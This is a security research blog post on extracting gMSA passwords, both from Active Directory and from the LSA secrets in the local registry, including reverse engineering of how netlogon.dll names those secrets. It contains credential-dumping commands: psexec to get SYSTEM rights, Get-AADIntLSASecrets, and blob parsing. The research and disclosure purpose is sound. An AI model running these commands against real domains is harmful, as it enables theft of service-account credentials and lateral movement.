Hunt for the gMSA secrets
Group Managed Service Accounts (gMSA’s) can be used to run Windows services over multiple servers within the Windows domain.
Since the launch of Windows Server 2012 R2, gMSA has been the recommended service account option for AD FS.
As abusing AD FS is one of my favourite hobbies, I wanted to learn how gMSAs work.
Introduction
What is gMSA?
According to Microsoft’s documentation, there are multiple options for running services:
Principals | Services supported | Password management |
---|---|---|
Computer Account of Windows system | Limited to one domain joined server | Computer manages |
Computer Account without Windows system | Any domain joined server | None |
Virtual Account | Limited to one server | Computer manages |
Windows 7 standalone Managed Service Account | Limited to one domain joined server | Computer manages |
User Account | Any domain joined server | None |
Group Managed Service Account | Any Windows Server 2012 domain-joined server | The domain controller manages, and the host retrieves |
If we want to run Windows service on multiple servers using the same managed account, we need to use gMSA. One of these kind of services is Active Directory Federation Services (AD FS).
Sample AD FS configuration
As I’m using AD FS here as an example, I configured AD FS to use gMSA account. I named the account to AADINTERNALS\gmsaADFS$
The account can be located in AD under Managed Service Accounts
To run the service using gMSA means that the computer running the service needs to know it’s password. So how could one access that password?
Getting gMSA password from AD
While googling around, I ended up to The Hacker Recipes’s ReadGMSAPassword site.
It turned out that the password blob is stored in msDS-ManagedPassword attribute of the gMSA account. However, running the command as a Domain Admin didn’t return the password:
# Get gmsaADFS account:
Get-ADServiceAccount -Identity gmsaADFS -Properties "msDS-ManagedPassword"
DistinguishedName : CN=gmsaADFS,CN=Managed Service Accounts,DC=aadinternals,DC=com
Enabled : True
Name : gmsaADFS
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : b3a4f131-bb4f-4bf4-9e54-3d54b285620b
SamAccountName : gmsaADFS$
SID : S-1-5-21-2918793985-2280761178-2512057791-2103
UserPrincipalName :
Googling around took me to Sean Metcalf’s blog Attacking Active Directory Group Managed Service Accounts (GMSAs).
It turned out that only those principals who are listed in PrincipalsAllowedToRetrieveManagedPassword property of the gMSA can retrieve the password. So the next step was to find out who those principals are:
# Get principals allowed to get gmsaADFS account password:
Get-ADServiceAccount -Identity gmsaADFS -Properties "PrincipalsAllowedToRetrieveManagedPassword" | Select PrincipalsAllowedToRetrieveManagedPassword
PrincipalsAllowedToRetrieveManagedPassword
------------------------------------------
{CN=ADFS,CN=Computers,DC=aadinternals,DC=com}
Quick query to AD showed that the principal in question is the computer account of AD FS server:
# Get AD object for the ADFS principal
Get-ADObject -Identity "CN=ADFS,CN=Computers,DC=aadinternals,DC=com"
DistinguishedName Name ObjectClass ObjectGUID
----------------- ---- ----------- ----------
CN=ADFS,CN=Computers,DC=aadinternals,DC=com ADFS computer bb5a6e8a-2956-4...
To get the system permissions, I launched the PowerShell as a system using Sysinternals’ PsExec:
psexec -sid powershell.exe
Now I was able to access the password blob!
# Get gmsaADFS account password:
Get-ADServiceAccount -Identity gmsaADFS -Properties "msDS-ManagedPassword"
DistinguishedName : CN=gmsaADFS,CN=Managed Service Accounts,DC=aadinternals,DC=com
Enabled : True
msDS-ManagedPassword : {1, 0, 0, 0...}
Name : gmsaADFS
ObjectClass : msDS-GroupManagedServiceAccount
ObjectGUID : b3a4f131-bb4f-4bf4-9e54-3d54b285620b
SamAccountName : gmsaADFS$
SID : S-1-5-21-2918793985-2280761178-2512057791-2103
UserPrincipalName :
Next step was to figure out what to do with the password blob. Both blogs I mentioned earlier used Michael Grafnetter’s excellent DSInternals tool for this.
DSInternals includes a command ConvertFrom-ADManagedPasswordBlob which is able to parse the password blob.
# Get gmsaADFS account:
$gmsa = Get-ADServiceAccount -Identity "gmsaADFS" -Properties "msDS-ManagedPassword"
# Parse blob
ConvertFrom-ADManagedPasswordBlob -Blob $gmsa.'msDS-ManagedPassword'
Version : 1
CurrentPassword : 逻ᄚꃙ銒樶ﯮꖘﶴᓑ㾁驭屓ᨨ鍛뢍웾䨻汪ᇑ㜽ⱱ띵ꗯ멮큢㽓碖橔△䌙赧ᴣꆂⲃ욌ℼ呺숒蓠⭉ﶎ胭軇...
SecureCurrentPassword : System.Security.SecureString
PreviousPassword :
SecurePreviousPassword :
QueryPasswordInterval : 19.16:27:51.4782824
UnchangedPasswordInterval : 19.16:22:51.4782824
Getting gMSA password from local computer
As I mentioned earlier, if a computer needs to run a service as gMSA, it needs the password. The computer can fetch the password from AD, but what if the AD is unavailable?
The service must be able to start without contacting the domain controller, so the password must be stored locally somewhere..
Password location
In one of my previous blogs on ADSync passwords, I noticed that service account passwords were stored in registry at:
HKLM:\SECURITY\Policy\Secrets
Quick visit to registry reveleaded that LSASS stores also gMSA account passwords in the registry.
As such, I was able dump the passwords with AADInternals (requires local admin rights):
# Get LSA secrets:
Get-AADIntLSASecrets | Where Name -Like "_SC_GMSA_{*"
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_cda3685b92675ebbe3d56f9bc852aef55f6bee660447c19f4864486b112a50ad
Password : {1, 0, 0, 0...}
PasswordHex : 01000000220100001000000012011a013b901a11d9a01[redacted]
PasswordTxt : Ģ ĒĚ逻ᄚꃙ銒樶ﯮꖘﶴᓑ㾁驭屓ᨨ鍛뢍웾䨻汪ᇑ㜽ⱱ띵ꗯ멮큢㽓[redacted]
MD4 : {249, 119, 202, 116...}
SHA1 : {247, 92, 241, 94...}
MD4Txt : f977ca74a5e7640ae65[redacted]
SHA1Txt : f75cf15efd029b7bfb7[redacted]
Could this password actually be the same blob that is stored to AD? Let’s find out!
# Get gmsaADFS account password:
$gmsa2 = Get-AADIntLSASecrets | Where Name -Like "_SC_GMSA_{*")
# Parse blob
ConvertFrom-ADManagedPasswordBlob -Blob $gmsa2.Password
Unfortunately, I got an error message related to blob length.
ConvertFrom-ADManagedPasswordBlob : The length of the input is unexpected.
Parameter name: blob
Actual value was 304.
At line:1 char:1
+ ConvertFrom-ADManagedPasswordBlob -Blob $gmsa2.Password
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [ConvertFrom-ADManagedPasswordBlob], ArgumentOutOfRangeException
+ FullyQualifiedErrorId : System.ArgumentOutOfRangeException,DSInternals.PowerShell.Commands.ConvertFromADManagedPasswordBlobCommand
Luckily, comparison of the blobs revealed that the LSASS blob had the same content but also zero padding at the end 😊
Another try with the truncated blob confirmed that the content of the blobs are indeed identical:
# Parse blob
ConvertFrom-ADManagedPasswordBlob -Blob $gmsa2.Password[0..289]
Version : 1
CurrentPassword : 逻ᄚꃙ銒樶ﯮꖘﶴᓑ㾁驭屓[redacted]
SecureCurrentPassword : System.Security.SecureString
PreviousPassword :
SecurePreviousPassword :
QueryPasswordInterval : 21.11:39:16.0895943
UnchangedPasswordInterval : 21.11:34:16.0895943
Locating the correct password
If you’re running just one service using gMSA, locating the password is easy. But what about if you have multiple services using gMSAs, which of the secrets is correct?
Cracking this secret took a while, so bear with me 🙏
First, it seems that the all gMSA account names start with the same prefix:
_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_
Googling the 84A78B8C-56EE-465b-8496-FFB35A1B52A7 GUID brought me to another great blog post: Accounts Everywhere, part 2: Managed Service Accounts and Group Managed Service Accounts by Andrew Mayo.
Unfortunately, he stated the same than I had already noticed:
Note, however, that the NAME of the gMSA (unlike the MSA) doesn’t appear to be stored in plaintext in the secret. It is, presumably, recoverable – however, I don’t have information on how to do so currently. This – in theory – makes it a little more difficult for an attacker, since unlike an MSA, where the account name is clearly part of the local secret key, you don’t have that information here.
But now that we know the gMSA account prefix is constant, I had something to start with.
I decided to find out how Windows locates the correct gMSA password when starting the service.
I started this journey by running Sysinternals’ Strings against all dll files under System32:
strings -n 20 c:\windows\system32\*.dll > strings.txt
Only hit was in netlogon.dll. There was also an interesting function named NetpGetSecretName which I decided to study further!
Studying NetpGetSecretName
So, time to open Ghidra and start to work! First, I located the function in question by searching the gMSA prefix and started to rename parameters and functions as I learned how the function worked.
The function takes three parameters:
Type | Name | Description |
---|---|---|
int | type | The type of the secret. 0: GMSA DPAPI 1: GMSA |
wchar_t * | AccountName | The name of the service account. |
wchar_t * | DomainName | The domain of the service account. |
wchar_t ** | NameOutput | The target buffer containing the service secret name. |
1: The prefix is chosen based on the type:
2: The domain name and account name are concatenated without any delimiters.
3: The concatenated name is made upper case.
Then to the beef!
4: A new SHA256 has object is created.
5: The upper case concatenated account name pbInput is send to the hash object. (Ghidra did not decompile the file correctly, so some variable assignments etc. seem to be missing.)
6: The hash is finalized and saved the pbOutput.
7: There is an interesting do-while loop that seems to creating a hex string from the hash. However, high and low bits of each byte are switched..
Normal bytes to hex:
dc3a86b52976e5bb3e5df6b98c25ea5ff5b6ee6640741cf9844684b611a205da
NetpGetServiceSecretName’s bytes to hex:
cda3685b92675ebbe3d56f9bc852aef55f6bee660447c19f4864486b112a50ad
8: The SHA256 has is appended to the prefix
Implementing NetpGetSecretName
Now that I knew how the gMSA name was derived, I was ready to implement it in PowerShell!
# Create the SHA256 object
$sha256 = [System.Security.Cryptography.SHA256]::Create()
# Convert to upper case and calculate the hash
$hash = $sha256.ComputeHash([text.encoding]::unicode.GetBytes("AADINTERNALSgmsaADFS".ToUpper()))
# Create the hex string
$hexLetters = "0123456789abcdef"
$strHash=""
$pos = 0
do{
$strHash += $hexLetters[($hash[$pos] -band 0xf)]
$strHash += $hexLetters[($hash[$pos] -shr 4)]
$pos+=1
}while($pos -lt 0x20)
# Print the result
$strHash
Unfortunately, the output was what I was expecting:
6c070a1a97baba5ae7e20e1c3911b560bd9f2813c1b49ad7e2188ba33c648b62
I assumed that there was something different with the implementation of SHA256 between PowerShell and BCrypt.dll that the netlogon.dll was using.
So, I implement a C# console program that used native BCrypt.dll methods directly.
static void Main(string[] args)
{
byte[] data = System.Text.Encoding.Unicode.GetBytes("AADINTERNALSgmsaADFS".ToUpper());
IntPtr phAlgorithm = IntPtr.Zero;
IntPtr phHash = IntPtr.Zero;
byte[] hash = new byte[0x20];
uint status;
if ((status = BCryptOpenAlgorithmProvider(out phAlgorithm, "SHA256", null, 0)) == 0)
{
Console.WriteLine("Algorithm 0x{0:X8}", phAlgorithm.ToInt64());
byte[] pbHashObject = new byte[0x20];
if ((status = BCryptCreateHash(phAlgorithm, out phHash, null, 0, null, 0, 0)) == 0)
{
Console.WriteLine("Hash 0x{0:X8}", phHash.ToInt64());
if ((status = BCryptHashData(phHash,data,(uint)data.Length,0)) == 0)
{
if((status = BCryptFinishHash(phHash, hash, 0x20,0)) == 0)
{
Console.WriteLine("{0}", BitConverter.ToString(hash).Replace("-", "").ToLower());
}
}
BCryptDestroyHash(phHash);
}
BCryptCloseAlgorithmProvider(phAlgorithm, 0);
}
Console.WriteLine("Last error 0x{0:X8}, status 0x{0:X8}", Marshal.GetLastWin32Error(), status);
Console.ReadKey();
}
Still no luck (output bytes are not reversed, but we can see the hash is incorrect):
Studying NetpGetSecretName - part 2
I spent a lot of time trying to figure out what was wrong. I even installed x64dbg for the first time of my life 😬
So, I attached the debugger to lsass.exe, searched the correct call to BCryptFinishHash, and set the breakpoint.
Running the following PowerShell command will hit the NetpGetSecretName function.
Install-ADServiceAccount gmsaADFS
The (non reversed) output hash was correct!
At this point, it took a lot of time to make sure the hashing was implemented correctly - as it was.
If the implementation was correct, then the problem had to be somewhere else.
While reviewing the code once again, I noticed that the SHA256 hash algorithm was not initialized in NetpGetSecretName function. So, it must have been initialized somewhere else.
With Ghidra, it was quite easy to find the correct function where the SHA256 was initialized: NlInitializeCNG
After reviewing the code time after time after time, I finally spotted the only difference!
The NlInitializeCNG function provided a flag (8 = BCRYPT_ALG_HANDLE_HMAC_FLAG) to BCryptOpenAlgorithmProvider function which my code did not. According to the documentation:
Value | Meaning |
---|---|
BCRYPT_ALG_HANDLE_HMAC_FLAG | The provider will perform the Hash-Based Message Authentication Code (HMAC) algorithm with the specified hash algorithm. This flag is only used by hash algorithm providers. |
I included the BCRYPT_ALG_HANDLE_HMAC_FLAG flag to the BCryptOpenAlgorithmProvider call:
And now the (non-reversed) output hash was correct!
So, Microsoft initializes the SHA256 as HMAC, but does not provide HMAC key (i.e. password) when calling BCryptCreateHash function 🤷♂️
AADInternals
Based on what I learned about gMSAs, I was able to implement new and update existing gMSA related functionality of AADInternals.
Here’s a sneak peek what to expect:
The new gMSA functionality will be included in the next version. I’ll update the blog with details after it’s released (hopefully soon)!
Summary
- The password of gMSA account can be retrieved from AD by principals listed in PrincipalsAllowedToRetrieveManagedPassword property of the gMSA.
- The password is also stored in the registry at HKLM:\SECURITY\Policy\Secrets
- Microsoft is using HMAC with SHA256 hash function (incorrectly without password?) to derive the gMSA secret name from the gMSA account name.
- Local Administrator can extract plaintext passwords of gMSA accounts.
References / credits
- Microsoft: Group Managed Service Accounts Overview
- Microsoft: Getting Started with Group Managed Service Accounts
- Microsoft: Active Directory Federation Services
- The Hacker Recipes: ReadGMSAPassword
- Sean Metcalf: Attacking Active Directory Group Managed Service Accounts (GMSAs).
- Sysinternals: PsExec
- Michael Grafnetter: DSInternals ConvertFrom-ADManagedPasswordBlob.
- Andrew Mayo: Accounts Everywhere, part 2: Managed Service Accounts and Group Managed Service Accounts.
- Sysinternals: Strings
- NSA: Ghidra
- Microsoft: BCryptOpenAlgorithmProvider function (bcrypt.h)